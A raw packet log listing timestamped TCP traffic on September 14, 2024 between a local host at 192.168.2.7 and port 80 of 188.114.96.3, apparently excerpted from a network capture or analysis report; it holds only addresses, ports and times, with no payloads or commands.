Sep 14, 2024 18:44:27.807852983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807857990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807873964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807888985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807904005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807918072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807934999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807964087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808125973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808140993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808156013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808177948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808192968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808207035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808223009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808238029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808245897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808253050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808269978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808274984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808299065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808640003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808655024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808669090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808682919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808697939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808706999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808713913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808727980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808732033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808748960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808763981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808778048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808803082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808804989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808820963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808824062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808836937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808837891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808855057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808871984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808877945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808909893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.808918953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808933973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808948994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.808969975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809139967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809154034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809168100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809181929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809195042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809209108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809223890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809237957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809254885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809256077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809272051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809278011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809303045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809432983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809448957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809463024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809477091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809493065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809500933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809561014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809565067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809576988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809588909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809592962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809609890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809612989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809657097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809772015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809787035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809801102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809815884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809829950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809844017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809847116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809859991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809875011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809887886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809902906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809916973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809919119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809933901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809942961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809948921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809964895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809978962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.809979916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.809994936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810003042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.810012102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810026884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810048103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.810056925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.810415030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810430050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810451031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810466051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810481071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810494900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810508966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810522079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810538054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810551882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.810560942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.810578108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.810594082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.867001057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867060900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867111921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867162943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867194891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867228985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867244005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.867260933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867270947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.867295027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.867295027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.867346048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.893774033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893788099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893801928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893809080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893830061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893846035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893860102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893874884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.893898964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894026041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894040108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894057989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894071102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894072056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894072056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894081116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894088984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894095898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894110918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894124985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894148111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894171953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894285917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894301891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894315958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894330978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894346952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894351006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894361973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894377947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894392014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894423008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894455910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894464970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894630909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894645929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894659042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894673109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894673109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894687891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894701958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894701958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894717932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894731045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894732952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894748926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894758940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894764900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894779921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894793034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894794941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.894819975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.894996881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895011902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895025969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895040035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895059109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895061016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895076990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895085096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895092010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895104885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895179987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895296097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895311117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895324945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895339012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895354986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895371914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895380974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895395994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895401955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895418882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895422935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895436049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895451069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895464897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895479918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895493984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895503044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895508051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895524025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895524979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895539999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895554066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895555019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895570993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895575047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895586967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895602942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.895615101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895646095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.895996094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896011114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896024942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896039963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896055937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896064043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896071911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896087885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896091938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896104097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896112919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896188021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896286011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896300077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896315098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896327972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896342039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896356106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896370888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896389008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896392107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896406889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896419048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896435022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896696091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896709919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896723986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896744013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896752119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896759987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896774054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896789074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896801949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896811962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896816969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896832943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896846056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896847010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896862030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896862984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896878958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896893024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896894932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896908045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896922112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896923065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896936893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896950006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896960974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.896965981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.896992922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.897011995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.897227049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897248030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897260904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897274971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897289038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897303104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897314072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.897317886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897332907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897347927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897362947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.897362947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.897392035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.897417068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.954099894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954149008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954185963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954241037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954273939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954308987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954325914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.954339027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954377890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.954696894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.954696894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.980693102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980746031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980777979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980808973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980840921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980890036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980938911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.980969906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981002092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981031895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981065035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981115103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981125116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981148005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981180906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981214046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981261969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981297016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981328011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981360912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981362104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981362104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981395006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981426954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981443882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981461048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981493950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981539011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981645107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981677055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981709003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981715918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981741905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981774092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981791019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981805086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981837034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981867075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981895924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981899023 CEST	80	54891	188.114.96.3	192.168.2.7
